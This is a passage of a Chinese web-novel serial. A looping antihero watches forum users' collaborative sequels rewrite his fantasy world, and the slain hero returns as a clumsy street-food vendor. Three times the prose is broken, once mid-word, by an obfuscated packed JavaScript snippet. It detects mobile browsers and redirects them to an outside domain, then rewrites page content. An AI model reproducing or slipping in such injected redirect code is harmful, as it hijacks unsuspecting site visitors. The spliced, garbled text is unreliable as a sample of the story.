【98%……99%……】 【100%。】 与此同时，时针指向整点。 “当——” 钟声悠扬且深沉，恰好与魃戈脑海中的电子音重合，似是为海罗献上丧钟。 本该敲八下的钟声暂停在第一下，但无人对“故障”的钟塔抱有疑虑。 因为世界静止了。 风停了，受惊的鸟四处逃逸，远看似是数排指向案发地点的箭头。 没吃早饭的国王大张着嘴，但他不是要原地开饭，而是来不及打出一个完整的喷嚏。 商贩被勇者的惨案吓得面色惨白，捂嘴堵住反上来的酸水，结果手帕没抓稳飞了出去，仿佛在表演手帕不落地的杂技。 工匠攥着老旧的手锤，暴露在无袖背心之外的肌肉紧绷，悲怆的表情恨不得把杀人凶手碎尸万段，为自己的偶像复仇。 小乞丐拼命踮着脚，想要作为这座城市的一份子融入喧嚣之中，瘦弱的身体和怀里剩下的小半袋面包同等待遇，被挤压得歪歪扭扭。 所有人都像雕塑般纹丝不动地僵在原地。 唯独有一个例外。 魃戈懒洋洋地把碎发撩到耳后，赤眸盯着屏幕上的「上传成功」，眼底再明显不过的狂热与欣喜如同跃动的火焰。 那是一块仅他可见的屏幕。 嗯，但目前的情况，其他人就算能看到也看不了。 【lz还没发？】 【楼上网不好吧，就在你前几楼。】 【首页刷到这个贴被顶上来了，我就知道肯定出后续了】 【妈耶！居然是个文件！】 【我来拜读】 【咱们的活动越来越丰富了】 【直接写就好了咩？有没有具体规则？】 【好像要按照格式申请】 【楼主的ip是未知，怎么做到的？o.O】 半透明的屏幕悬在空中，密密麻麻的文字像在展示印刷术，一行接着一行地跳出来。 魃戈习以为常地扫了一眼。 与世界格格不入的发言晦涩难懂，从没听过身边的人用这种词，幸亏他基本研究透彻了。 这块屏幕是前不久突然出现的。 那一周目，魃戈无情地把国王从城堡踹了出去，取而代之坐上了重金打造的宝座，并且不顾教皇的强烈反对，在硬邦邦的座位上放了柔软的坐垫。 早就想吐槽了，为什么皇帝非要坐硬板凳？ 正当他托着脸思考今后的周目还有什么没体验过的身份，眼前突然亮起诡异的花屏，紧接着疯狂地蹦出弹窗。 他也是后来才知道，原来这玩意儿叫弹窗。 折腾了十几秒，魃戈和恢复正常的投影强制绑定了。 无数看不到的人类藏匿于这块屏幕的后方，他们将其称为「论坛」，把发言和回复说成「发贴」和「回贴」，类似的暗语比比皆是。 但他不能发贴和回帖，只能当一个旁观者。 饶是重启过上千次、知晓世间绝大部分奥秘，魃戈也不清楚这是什么魔法。 即便这种魔法真的存在，能够支撑那么多人使用，还能随时开启，耗费的魔力量必定非常惊人，抽干十个大魔法师维池估计都做不到。 极有可能是凌驾于魔法之上的神秘力量。 讲讲他观察得出的结论。 首先。 尽管论坛极其诡秘，但内容都很普通，他坐在酒馆里啃一天面包能听到差不多的闲聊，比如吐槽拖后腿的工作搭档和拖工资的抠门老板。 其次。 论坛用户来自另一个世界，极有可能是高维世界，但和传说中的光明女神应该不是一类存在。 最后。 这是一个写作论坛，除去日常以外，不乏大量创作交流。 想当然地，魃戈猜测他所处的世界是论坛用户所创造的作品。 可他把所有帖子都翻了一遍，没有翻到一条和他的世界有关的内容。 自己是虚拟作品里的人物、自己是觉醒意识的npc、自己要和创作他的作者抗衡…… 诸如此类的心理建设全白做了。 【点开一看是勇者和魔王，我就丧失了阅读兴趣，异世界轻小说写烂的厕纸题材……（流汗）】 【所以才要发挥想象力让无聊的原作变得有趣呀～】 【谁第一个写啊】 【更新求踢】 【总感觉看过无数个类似的故事】 【勇者故事不都这套路？】 【还是有区别的，结局好地狱233】 【不是，主角都死了，还能怎么续写？】 【整活向？】 【换个主角呗】 发言仍在源源不断地弹出。 魃戈对没信息量的发言不感兴趣，他索性从钟楼一跃而下，被飘浮魔法托着向下方飞去，落在了事故发生的城门口。 他第一次在大结局逗留。 处于静止状态的独角兽神情悲伤，螺旋角不再圣洁，变成从面糊里抽出来的搅拌棒，沾染诡异的液体，凑近一看，有一滴挂在尖端即将坠落的血珠。 他伸手戳了戳，血珠纹丝不动。 走到海罗的身边，对方的双眼已经被希尔洛在世界暂停前合上，勉强算得上死相安详，前提是忽略额头上的瘆人黑洞。 魃戈蹲下身子，手指伸向黑洞在里面转了一圈，某种意义上是他需要修复的最后一个窟窿。 至于海罗的命运，那就不在他的考虑范围之内了，他可没闲工夫顾及别人。 魃戈恹恹地收回干净的手指，同样不符合常理地什么也没蹭到。 新奇是暂时的，循环也好，暂停也罢，他讨厌任何形式的停滞不前。 但目前能做的仅有等待。 他随便找了一个地方坐下，仰头望向天空，云彩像泼在画布上一动不动的白色油漆，死气沉沉地被固定在原处。 如果这一次也不成功，那他连大结局云朵的位置都能记住了。 他一点也不想记住那么多无用的信息。 【我仔细看了一下文档，要求主题必须是勇者故事，但楼主没说勇者指的是身份还是海罗。】 【lz发完就消失了】 【但魔王已经死掉了，换个新勇者没意义啊】 【搞个新魔王】 【No！太俗套了！！】 【个人认为主角还是海罗比较好，不然就像单元剧或者系列文】 【+1】 【那让海罗复活？】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899467|160060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【海罗突然睁开眼睛站起来，说：“喜欢我带给你们的魔术吗？”】 【神金啊啊啊啊啊在魔法世界表演魔术。。。】 【重点是复活后写什么故事吧】 论坛热情似火地讨论着。 魃戈打了一个哈欠，实在没想到这帮人可以磨蹭那么久，他都无聊得开始看他们在聊什么了。 说真的，他觉得变魔术的主意不错。 ——在欢迎仪式无缝衔接葬礼之际，海罗“噌”地一下睁开双眼，从希尔洛的怀里笔直地站起来，脑浆和血液的混合物丝滑地沿着鼻梁流淌。 ——不顾周遭惊恐的眼神，他挠了挠后脑勺，发出爽朗的笑声。 ——“哈哈哈，被我吓到了吗？” 光是想想就觉得很有趣，大家的表情一定精彩万分。 可惜，他暂时没有发帖权限。 别看魃戈一副什么也不在乎的轻松模样，还有闲心用意念隔空出谋划策，实际上，世界的命运掌握在论坛用户的手中，写下的每一个字皆是接下来的剧情。 但他们一概不知，以为只是普通的创作活动。 每次修复漏洞，魃戈就会获得一块形似宝石碎片的未知物体，重启也不会清零。 他简单粗暴地称其为漏洞碎片。 论坛界面有一行「404 not found」的选项，需要大量碎片才能激活，眼看再度陷入死局，他抱着试一试的心态将碎片凑齐。 兑换结果是论坛多了一个写作接龙的贴子，并提示他上传原作文件，其余功能依旧没权限。 上传进度条等同于剧情进度条。 魃戈干回老本行，从头到尾——从捞地窖里的勇者到传播勇者回城的消息，把背得滚瓜烂熟的漏洞逐个填上。 过完原作线，文件上传成功。 两边时间流速似乎不同，无人指出等待时间过长。 写作接龙的规则涵盖在文件内，格式、主题、字数等要求标得明明白白，若论坛用户能改变莫比乌斯环的现状，说明他们来自高维世界，若做不到…… 那他想不出其他方法了。 魃戈把他能想到的、能做到的都试了一遍，全都以失败告终。 除了自杀。 但自杀是不可能的，万一真死了就太好笑了，再困难他都不会拿自己的命当赌注。 不知过去了多久。 恍惚之间，顶部的晨光如同蜡烛火苗般摇曳，一圈又一圈的彩虹色光晕在赤瞳中扩散，似是滴入湖泊的露珠，荡起轻微的涟漪。 悬浮的屏幕弹出数行文字—— 【海罗的牺牲感动了光明女神，她决定赐予他新生的机会，在没有魔法的和平世界……】 魃戈仿佛处于急骤旋转的星象仪内部，世间万物在眼前快速掠过，比骑着贝努鸟在云雾中穿梭还要晕头转向。 来不及看完续写的剧情，世界就大变模样。 简洁恢弘的高楼直入云霄，相隔的长杆被数根作用不明的细线连接，麻雀停在线上稍作休息，黑芝麻大小的眼睛静静地望着不远处的铁门。 陌生的建筑风格让魃戈微微一愣，随即，心头涌上难以抑制的惊喜。 他成功了？ 这是他从未见过的景象！走遍斯顿雷大陆都没有相似的地方古籍上更是没有记载过！ 他一定成…… “——先生。” 打断情绪爆发的是一声熟悉的嗓音。 “麻烦可以让一下吗？你挡住我的摆摊车了。” 5. 第五章 海罗为难地看着坐在台阶上的黑发青年。 距离放学还剩十分钟，摆摊车还没就位，他的心情难免有些急切。 校门口的拐角处是学生们的必经之处，无疑是摆摊的绝佳位置，结果被人占领了。虽然这块地没写他的名字，他没有理由直接赶人，但他不想挪到其他位置。 心中有股无名的力量，要求他必须在这里摆摊。 海罗又叫了一声：“先生。” “听到了。” 对方懒洋洋地应道。 他偏过脑袋，露出一张漂亮得无可挑剔的脸，树影斑驳，落在艺术品上，血红色的眼瞳似是蒙上了一层厚厚的灰尘，等待有人跨过上万年的光阴为他轻轻拂去。 穿着的欧式服装更是加重了复古感，看料子质感就不是表演用的便宜货。 海罗对黑发青年的第一印象是阴郁。 尽管坐姿松散的他处于视角下方，但那双抬起的赤眸却让人产生自己才是被俯视的一方的错觉，直勾勾地盯着破坏清净的罪魁祸首。 微风吹过，枝叶憧憧。 蒙尘的辰砂随之暴露在阳光下，像是反射光线的红宝石，又像是出鞘的寒光，冷冷的，没有温度。 “你……” 海罗紧张地卡壳了，竟产生「要不算了吧？」的退缩之意。 不不，让个位置而已，有这么夸张吗？ 他怎么可能为了这点小事就不在这里摆摊了？ 正当海罗鼓足勇气准备说下去，黑发青年卸下令人头皮发麻的压迫感，轻轻地笑了一声：“抱歉，刚才走神了。” 他慢悠悠地站起身，往旁边捎了稍。 “需要我帮忙吗？” “不用不用。” 海罗赶紧把摆摊车推了过去，虽然对方主动示好，但直觉却告诉他来者不善。 他在心中默默祈福，千万不要影响他的生意。 魃戈被这副小心翼翼的模样逗乐了。 昔日的老熟人以陌生的姿态出现在眼前，穿着看不懂的衣服，做着看不懂的事情，完全打破了他对这个刻板无聊的世界的认知。 这比续写还要有趣。 他新奇地打量印着「煎饼果子」和菜单的小车，又看了眼埋头备菜的海罗，大致推测出对方打算干什么了。 但煎饼果子是什么？ “你要来一个吗？”见魃戈一直不走，海罗以为是等他开工的顾客。 魃戈摸了摸口袋，好消息是999周目随身携带的钱财还在，没消失说明世界没有重启。 坏消息是菜单和正常物价有些偏差。 他不抱希望地掏出钱币：“这个能用吗？” 海罗百忙之中抽空抬起脑袋，看清对方手中样式怪异的硬币，表情瞬间无语：“先生，我不收游戏币。” 魃戈：“……” 这明明是他的劳动所得。 “开个玩笑。”魃戈假装无事发生地把钱塞回口袋，“我不饿，只想在旁边看看。” 海罗没见过连做煎饼都要围观的人，他瞅了几眼从头到尾都透露着古怪的黑发青年，不放心地嘱托：“等会儿学生来了别添乱啊。” “放心，不影响你。” 魃戈盯着不熟练地摆放食材和酱料的海罗，然后将视线移动到弹出的屏幕上。 【海罗的牺牲感动了光明女神，她决定赐予他新生的机会，在没有魔法的现代世界，作为普通人安稳地生活下去。 世界重构，体系重建，魔法被科技替代，神明不复存在。 从零开始的平凡勇者，变成了从零开始的平凡市民。 这一世，海罗出生在一个普通家庭。 他以卖煎饼果子为生，每天推着煎饼摊起早贪黑地奔波，早上和中午在小区门口摆摊，下午在学校门口摆摊。 十八岁的他没有远大志向，只想过好当下的每一天，早日搬离出租屋，争取在这座大城市立足。 某天下午，海罗骑着摆摊车到了校门口。 这是他第一次来这所中学，他在上一所学校被保安和城管赶走了，不得不转移阵地。 这一次，他一定会夺回属于自己的荣耀！】 魃戈：“……” 前面还凑合，后面是什么乱七八糟的？ 算了，他本来也没指望这群人能写出惊世骇俗的文学巨作。 回帖有字数限制，能几百字给出有效内容就不错了，至少不是零进展水字数。 此时，放学铃声打响。 海罗如释重负地松了一口气，他终于赶在学生出校门前完成准备工作了，但这仅是开始，接下来才是容不得分神的重头戏。 “老板，你卖煎饼果子多少年了？”魃戈收起论坛，随意地向故事的主角攀谈。 “快四年了。” 话音刚落，扑哧一声的笑声传入海罗的耳中，他看向毫不掩饰情绪的黑发青年，心里嘀咕着今天怎么会碰到这种怪人。 他说了什么很好笑的话吗？ “你笑什么？”海罗按耐不住好奇心，“不相信吗？现在大学生都来摆摊了，没什么好奇怪的。” “信啊，我信。”狭长的眼睛如弦月般弯起，笑意像滴入水中的墨般扩散，“快四年了，备菜还花了那么长时间，想必准备得很细致吧。” 海罗花了两秒才听出魃戈的言外之意。 他尴尬地笑了笑，自己也很纳闷怎么把瓶瓶罐罐摆出来那么生疏，调整了好几次位置才满意。 简直就像第一次出摊的新手。 魃戈没有抓着破绽追问下去，而是换了个话题：“你多大了？看起来挺年轻的。” 海罗答道：“十八。” “厉害，十四岁就出来摆摊了。” “初中没读完就辍学了，总得赚钱吧。” 魃戈若有所思地盯着脚下的阴影。 海罗报出的年龄和原作大结局时一致，但续写中没有提到他的年龄，第二句话也是续写没出现的情报。 关于续写没提到的信息，他做出两点推测，原作已有的信息可能会自动延续过来，原作没有的信息可能会按照逻辑补全。 挺好，至少被提问者能对答如流，而不是像傻子似的呆住。 魃戈抬起头：“我有一个问题。” “什么？” “初中是什么？” “……” 刚拆封的口罩差点从海罗的手里飞出去，他不可思议地看向魃戈，竟然无法捕捉到一丝开玩笑的神情。 就算是文盲也不至于啊！ 难道是城管想把他赶走特意策划的恶作剧？ 海罗狐疑地把魃戈从头到尾打量了一遍，最后艰难地问出一句：“先生，你……莫非是cosplay太沉迷人设了？” 魃戈：“？” cosplay又是什么？ 怎么论坛从没提到过这些生僻词？ 看出魃戈的疑惑，海罗重重地叹了一口气，解释道：“你不是在角色扮演中世纪欧洲贵族吗？” 中世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899468|160060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纪是什么？欧洲又是哪里？ 魃戈有种被异世界的车轮子碾过大脑皮层的感觉。 虽然细枝末节的设定听不懂，但大致意思他理解了，海罗以为他戏瘾大爆发入角色了。 正当魃戈想再套点话，耳边突然响起熟悉的声音： “老板！来个双蛋煎饼果子！加里脊培根土豆丝！多酱少辣不要香菜！” 回过头，站在旁边的正是汤克。 她穿着一身长袖长裤的校服，双肩包背在身后，手里攥着能在这个世界流通的货币。 同样是主角团，有人辍学摆摊，有人在校读书。 “没问题，马上做！” 海罗没功夫理会魃戈，他接过纸币，掰手指算了半天找零，才从塑料桶里摸出几个钢镚，然后擦了擦提前准备好的湿毛巾，戴上口罩和手套开工了。 面糊倒在鏊子上，竹耙子将面粉推成更大的圆形，尽管形状有些崎岖，但煎饼的雏形有了。 围着摆摊车的三人齐刷刷地盯着那摊面粉。 几秒的沉寂后，魃戈忍不住开口了：“你是不是没开火？” 海罗：“……” 汤克：“……” “哎哟，瞧我这脑子，前面和人聊天忘记了。”海罗讪笑着拧开炉子的火，滋滋声和面糊的香味飘了出来。 他打了俩鸡蛋，用竹耙子敲碎打散，再把各种料和酱铺匀。 魃戈欲言又止地看着那摊状态不对劲的饼，完美地诠释了什么叫“煎饼破破烂烂，勇者缝缝补补”。 预感在海罗掏出刮板后灵验。 面饼像抹了胶水似的死死扒拉着粘底，几铲子下去，勉强维持体面的饼皮溃不成军，愣是没有铲出一片能称之为饼的东西，还有几块焦掉的糊糊。 虽然魃戈不知道煎饼果子是什么，但绝对不是面疙瘩炒里脊培根土豆丝。 以他的常识来推测，翻车原因是没喷油和火开大了。 新手犯低级错误很正常，但出现在自称干了快四年的老手的身上，别有一番戏剧性。 海罗手忙脚乱地收拾残局，窘迫地不敢抬头：“不好意思啊，今天出门没带脑子，我给你重做一个。” “没事，就这个，吃嘴里都一样。”汤克善解人意地安慰，“我赶时间去补课。” 海罗把煎饼残骸装进纸袋，难为情地说：“下次你来找我，我免费请你吃完整的煎饼。” 待汤克离开，他才长舒一口气。 幸亏准时下课的学生不多，暂时没第二位顾客目睹这场煎饼果子谋杀案，不然他的生意估计做不下去了。 魃戈看热闹不嫌事大，双手抱臂调侃道：“你在角色扮演小商贩吗？” “你还好意思说？”海罗气急败坏地瞪了一眼，单方面把魃戈视为万恶之源，“要不是你一直和我打岔，我绝对不会接二连三地出岔子！” 魃戈不怒反笑：“换了立不住的身份也保留了爱找借口的毛病。” 海罗皱眉：“换什么身份？” 魃戈摇了摇头，自顾自地继续道：“没常识的人，难怪做煎饼也没常识。” 海罗：“？？” 他只是发挥失常，犯得着人身攻击吗？ “用‘先生’来称呼我，不符合小摊贩的身份，就像廉价的酒馆不会出现黄金高脚杯。” 魃戈习惯性地弯起眼眉，血眸中没有一丝笑意。他讥讽地注视着故事主角，仿佛透过对方的眼睛在审视另一人。 “海罗，你满意现在的身份吗？” 6. 第六章 “你怎么知道我叫海罗？” 海罗警惕地捏紧蹭上面疙瘩的刮板，那双猩红的眼睛盯得他心里发毛，他紧张地咽了咽，做好随时推车跑路的准备。 绝对是城管派来的人！ 否则怎么会连他的名字都知道？ 名字的事另说，魃戈连什么是城管都不知道。 正思考他该编一个什么理由搪塞智商时高时低的前勇者，余光眼尖地留意到某个关键词。 他指了指摆摊车上的字，满脸无辜地给出标准答案：“上面有写。” 海罗愣了一下，从后方绕到前面，然后就像被雷劈中似的僵在原地。 「海罗正宗煎饼果子」，八个大字直击心灵。 海罗：“……” 魃戈噗嗤一声笑了出来。 他这人最大的缺点就是离不开“低级趣味”，经常不合时宜地被逗乐，因此没少和人起过冲突。 他不觉得是坏事，说明他乐观嘛。 要是没点苦中作乐的精神，他早被循环折磨得精神失常了。 “我只是随便说说。”魃戈收回笑容，把针对海罗的呆傻反应演绎成从严肃到轻松的破功，“你太正经了，和学生相处少了几分亲和力。” 他瞥向朝小摊走来的学生：“希望下一份不再是面疙瘩。” “啊……？” 海罗懵逼地看着黑发青年离开的背影，放弃思考这人究竟想干什么，转而对站定在摊位前的学生笑脸相迎：“同学，要点啥？” 他承认那个建议有点用处。 …… 魃戈没什么想和海罗聊的了。 交流越多，破绽越多，事情没那么简单地就结束的预感也越强烈了。 虽然他不惧怕麻烦，但人总归要喘口气，刚好趁此机会搞清楚情况。 他找了一个隐蔽的角落，调出论坛。 【wow！第一位参与者！】 【西幻魔法大陆咋变成了现代美食文？】 【摆摊属于大学生创业吧】 【原作海罗死的时候才18岁，高考结束体验生活还差不多】 【笑死，我上学那会儿门口就有卖煎饼果子的】 【我学校门口是烧烤和关东煮】 【说得我想吃校门口的腊肠炒饭了，便宜量大，上班以后点外卖价格至少翻三倍】 【我妈嫌那些小商贩不卫生，不准我买。】 【同一个妈，但我会偷偷买hhh】 【我也是，每次我在回家路上吃完，进门前猛擦嘴+喝水，一次都没被爹妈发现】 论坛用户就这么聊起校园生活了。 无人在意写文接龙，也无人在意被迫摆摊的海罗。 魃戈对曾经的勇者大人深表同情。 最强剑士风光一时，离开斯顿雷大陆却什么也不是，人家宁愿讨论小摊贩十二块一份的烤冷面是便宜还是黑心。 他也很好奇，烤冷面和关东煮是什么？ 听起来很好吃的样子。 和论坛用户相比，魃戈满不在乎的态度没好到去，他一目十行地快速下滑，顺便理解了初中、高中和大学等词的大致含义，和魔法学院的初级部、高级部和研究院差不多，但具体学什么就不得而知了。 因为这个世界没有魔法。 他早就发现了，体内没有一丁点魔力。 本以为是自己的问题，但海罗开火用的不是火柴和打火石，也不是火系魔法或魔法制品，而是拧一下炉子就获得了热量，可见有一种能代替魔法的能量源。 好消息是他的精神力还在。 两种可能性。 这个世界存在精神力，或者精神力凌驾于魔力之上，甚至和论坛是旗鼓相当的体系。 目前接触的人太少了，他还不能确定是哪一种。 【“先生，麻烦可以让一下吗？你挡住我的摆摊车了。”】 熟悉的言语让下滑的界面顿在原处。 这是海罗的开场白。 也是第二份续写。 魃戈放慢了滑动速度，饶有兴趣地看完了全部内容。 【…… 黑发青年往旁边捎了稍：“需要我帮忙吗？” “不用不用。”海罗赶紧把摆摊车推了过去。 …… 海罗百忙之中抽空抬起脑袋，看清对方手中样式怪异的硬币，表情瞬间无语：“先生，我不收游戏币。” …… “没事，就这个，吃嘴里都一样。”汤克善解人意地安慰，“我赶时间去补课。” …… “海罗，你满意现在的身份吗？” “你怎么知道我叫海罗？” ……】 文中的每个字都和刚才发生的事一模一样，包括一句话、一个表情和一个动作。 除了没有魃戈的名字。 连没有正面提及名字的汤克都没用「女学生」、「黑发少女」之类的词指代。 魃戈不慌不忙地验证了细节。 回帖人匿名，ip显示未知。 而他发出去的帖子，也是ip未知的匿名账号。 究竟是别人写下有他参与的故事，还是他以行动代笔参与接龙，仅靠一个细节无法下定论，但他拥有更关键的证据。 ——手里凭空出现的漏洞碎片。 以往新周目开启才会根据上一周目的成就结算碎片，获取方式是修复漏洞，但这次他什么也没做，头顶也没冒出成就提示。 漏洞碎片从何而来暂时是一个谜，但一定程度上能够作证他是续写的参与者。 至于获取方式以后慢慢琢磨。 魃戈继续看了下去。 【怎么冒出一个黑毛男？】 【原作有黑发角色吗】 【有是有，但条件不符合】 【没有外貌描写，工具人炮灰吧】 【还是随处可见的黑毛，不是彩虹发色，标准路人甲】 【楼上都好精辟哈哈哈】 这还算好的。 原作他连黑发青年四个字都不配拥有，这里带他出场了。 但他应该没到随处可见的程度吧？ 【比起工具人，更像是掌握内幕的神秘人】 【有谜语人那味儿了】 【和楼主好像是同一个人？解释一下剧情啊，免得后面的人续写把精心布置的伏笔给破坏了】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899469|160060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 【看海罗做煎饼的技术，绝对是便衣警察！】 【不是没有可能233】 【如果是便衣警察，黑毛男的话就说得通了！不适应新身份、扮演小摊贩、用先生来称呼别人、没有亲和力！】 【卧槽每一点都对上了】 【便衣警察做煎饼的梗很火，我刷到过一堆短视频】 魃戈：“……” 还能这么解读？ 警察，翻译一下，相当于治安官的职务。 便衣警察，他推测是指假扮平民去办案的治安官。 他只是嘲讽勇者大人扮演小摊贩太生疏了，怎么还真被解读为海罗是假扮便衣警察的便衣警察？ 太好带节奏了吧？ 三言两语就能引导论坛，岂不是意味着他能一定程度影响接下来的剧情？ 【黑毛男是海罗的同事？】 【看不出来，但他俩肯定是熟人，海罗碍于身份不好相认】 【也有可能黑毛男和海罗是死对头，这里卖个关子，才没有直接把他的身份点出来，保持神秘感】 【既然是续写，路人、同事和死敌都可以吧】 【确实，看谁动笔更快。】 【虽然但是，海罗的死敌是魔王辛纳】 【谁规定死敌只能有一个，谁规定死敌只能是魔王勇者的关系～】 【也有可能是反目成仇的前搭档】 【不觉得很奇怪吗？海罗对黑毛男的态度不算友善，但没到当场翻脸的程度，而黑毛男想干什么根本看不出来，好像只是去冷嘲热讽一番。】 【卧槽！好有道理！】 【我还觉得黑毛男是背景板路人。。】 【是什么身份不重要，重要的是接下来该怎么展开情节】 【没错没错】 ——不要给他脑补那么复杂的关系啊！ 魃戈头痛地揉了揉太阳穴。 早知道代价是被安上莫名其妙的身份，他就不该为了过一时的嘴瘾，说那些云里雾里的话了。 虽然他确实当过海罗的同事、搭档和死敌，乃至更多复杂的身份，但那些都是通关需要，撇去这层关系，海罗不是他乐意接触的类型。 目前剧情挺和平的，没他什么事，他不想打通这层关系网。 等探索完新世界再决定是否接触海罗也不迟。 但论坛认准了便衣警察的设定。 且不提便衣警察的身份是否会对魃戈造成影响，那家伙连煎饼果子都做不明白，智力也不占优势，让他办案无异于让魔法师和人近身肉搏。 幸亏只是海罗需要考虑的事。 培养勇者已经很辛苦了，再培养一名合格的警察，恐怕又要来999个周目。 魃戈收起论坛。 后面的回帖都在讨论剧情和设定，并且越来越天马行空，一时半会儿等不到结果，就算等到下一篇接龙，大概率没太大的价值，他没必要干耗着围观。 与其操心主人翁的命运，不如操心自己。 他身无分文，吃穿住行都成问题，唯一值钱的只有领结上的红宝石——在新世界值不值钱还不好说。 得想个办法赚钱才行。 7. 第七章 赚钱的馊主意是占卜。 魃戈有幸在某一周目当过占星术士，这个职业能使用水晶球、占星骰子和塔罗牌等工具预测未来，但使用占星系魔法的前提是有魔法。 失去魔力的他再去使用那些占卜工具，本质上和不开火就倒上面糊等饼熟的海罗没有任何区别。 魔法是火，占卜工具是锅，没有火的锅只是一堆破铜烂铁。 更何况他连破铜烂铁都没有。 但问题不大，干这一行说真话未必是好事，身首分离的宫廷占星师比一锅煮的汤圆还多。 最重要的是话术。 说是占卜，实际就是心理辅导。 虽然这么说有点缺德，但随时能被论坛改写的命运有预测的必要吗？ 再说了，正儿八经的占星系魔法也不能保证准确率，没见宫廷占星师那帮人拿酬金会心虚，反倒会故作玄虚地掩盖能力不足。 而且他没准备全靠胡编乱造。 魃戈找了一处人流量不错的场地，厚着脸皮向街边的冷面馆借来了板凳和桌子，又捡了块没人要的纸板，洋洋洒洒地写上「占卜！有偿算命！」的大字。 不知道是这张脸起了作用，还是当地民风淳朴，空手套白狼的行为竟然一次也没有被拒绝。 简陋的占卜摊很快支好了，魃戈托脸坐在小板凳上，等待新世界的第一桶金。 陌生的交通工具从眼前驶过，全是他没见过的，轮子像擀面杖似的来回碾着兴许被马车踩过的路，有些还会留下一屁股黑烟，像是焚烧旧世界带来的废料，呛得他难受。 但他不讨厌这些变化。 论坛仍在进行关于海罗身份的讨论。 【便衣为啥出现在学校门口】 【人口失踪？】 【警察调查完相关人员就会离开，除非嫌疑人在学校或者失踪案不止一起。】 【但前文写了，海罗是被保安和城管从另一所学校赶来的，如果是便衣警察，不会那么窝囊……吧？】 【暂避锋芒也有可能】 【很简单，学校门口不准摆摊，只有海罗在那儿炒面疙瘩，肯定会怀疑他的身份，那就不打草惊蛇了吗】 【人家是卖煎饼果子2333】 【退一万步说，我们不能吃书吗！】 【支持吃书】 虽然魃戈一直对海罗颇有微词，但盛极一时的勇者大人被论坛用户随意玩弄，轻飘飘的一句“吃书”就能改变命运，他出于人道主义深表同情。 仅此而已。 有人吸引火力，他高兴还来不及呢。 正当魃戈琢磨着做两手打算，没生意就变卖珠宝，余光瞥见一道熟悉的身影。 脑海里里闪过一行大字—— 冤大头来了。 “天才维池！” 不远处的金发少年一个踉跄，险些栽倒在地。 周遭异样的眼神如刀子般扎在他的身上，他羞红着一张脸，气急败坏地瞪向声源：“你谁啊！？” 魃戈眨了眨眼：“随便喊喊，没想到真是天才。” 奇怪。 曾经的维池恨不得把天才魔法师几个字刻在脑门上，连自己喊出那四个字都做了半秒钟的心理建设，怎么现在突然明白什么叫羞耻心了？ 是因为风气变了吗？还是因为新世界没有魔法？ 不管了，这个冤大头他宰定了。 “理你是因为我是维池，而不是你喊我天才。”维池咬牙切齿地走到魃戈的面前，挑剔地打量破烂的摊位，趾高气昂的样子一点没变，“你是谁？叫我有什么事？” 很好，没有问为什么知道名字。 这就是和自我意识过剩的人接触的好处，否则还要编理由糊弄过去。 魃戈指了指「占卜！有偿算命！」的纸板，亲切地推销：“占卜吗？一顿饭钱一次。” 维池嘴角抽搐：“就为了这点小事？” “我俩非亲非故，我却能叫出你的名字，不就是命运的指引和实力的证明吗？”魃戈一本正经地胡说八道。 维池猛地反应过来：“你不认识我？” 魃戈斜眼：“你以为呢？” “名字你是算出来的？” “……” 魃戈语塞了。 敢情这家伙是觉得能叫出他的名字是因为自己太出名了？所以才没问为什么知道名字？ 也是，前·最年轻的大魔法师，想必新世界的设定也小有名气。 魃戈懒得废话：“占吗？” “你不会是骗子吧？”维池狐疑地打量满脸写着可疑的黑发青年，智商慢半拍地上线，“没在附近见过你，上来就让我占卜，和美容推销的套路一模一样。” “醒醒，谁骗人只骗一顿饭钱？” ——有，就是他。 魃戈以退为进，他敲了敲低矮的桌面，不耐烦地催促道：“不算就走，别影响我做生意。” 虽然听起来有点失礼，但他太了解怎么和维池这类人高效率沟通了。 第一种方法是击败对方引以为傲的长处，参考271周目，用魔法把天才魔法师揍一顿。 第二种方法是不把对方放在眼里，也就是现在。 “什么？” 维池果然被激怒了。 “莫名其妙叫住我的是你，想赶我走的也是你，做生意的态度那么差？” 他一屁股坐到魃戈对面的板凳上，下巴稍稍抬起：“算不准你就完了，以后你别想在附近做生意，我要把印着「诈骗犯」的你的照片贴满大街小巷。” 魃戈无所谓地晃了晃钱袋，硬币碰撞的声音清脆悦耳，仿佛全是占卜的劳动成果，可惜里面都是原世界金币。 “饭钱。” “……” 维池翻了个白眼，从口袋里摸出五十块拍在桌上：“钱钱钱，满脑子都是钱，不是骗子就有鬼了。” “少爷吃挺好啊。”魃戈揶揄道。 维池在原世界是家境不错的贵族小少爷，有钱人设不负期望地延续到新世界。 不愧是他一眼相中的冤大头。 维池底气不足地辩解：“我没零钱。” 